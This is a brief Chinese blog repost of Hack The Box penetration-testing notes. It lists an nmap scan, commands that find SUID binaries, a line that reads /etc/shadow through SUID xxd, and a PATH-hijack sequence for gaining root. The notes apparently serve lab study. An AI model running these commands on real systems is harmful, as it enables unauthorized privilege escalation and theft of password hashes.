渗透 | Lazzaro

admin 2022年8月28日09:29:43渗透 | Lazzaro已关闭评论21 views字数 696阅读2分19秒阅读模式

渗透

渗透(Hack The Box / HTB)

  • 扫描

    • nmap

      nmap -sC -sV xx.xx.xx.xx -oA src/

      -sC is for using default nmap scripts,

      -sV for enumerating services versions,

      -oA is for output ALL format and specify the directory src,

      NOTICE: you may be adding -Pn if you have an error wait for some time and here is the result.

  • 提权

    • SUID提权(4000权限)

      SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

      发现系统上运行的所有SUID可执行文件,不同系统适用于不同的命令:

      1
      2
      3
      find / -perm -u=s -type f 2>/dev/null
      find / -user root -perm -4000-print2>/dev/null
      find / -user root -perm -4000-exec ls -ldb {} \;

      提权命令:

      1
      xxd "/etc/shadow" | xxd -r
      • 环境变量提权

        1
        2
        3
        4
        5
        6
        7
        8
        9

        cd /tmp
        echo “/bin/bash” > ps
        chmod 777 ps
        echo $PATH
        export PATH=/tmp:$PATH
        cd /home/raj/script
        ./shell
        whoami
    • 以其他用户运行命令

      sudo -l (查看此用户拥有的特殊权限)

      echo password | su -c userB cat xxx.txt

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月28日09:29:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   渗透 | Lazzarohttps://cn-sec.com/archives/578043.html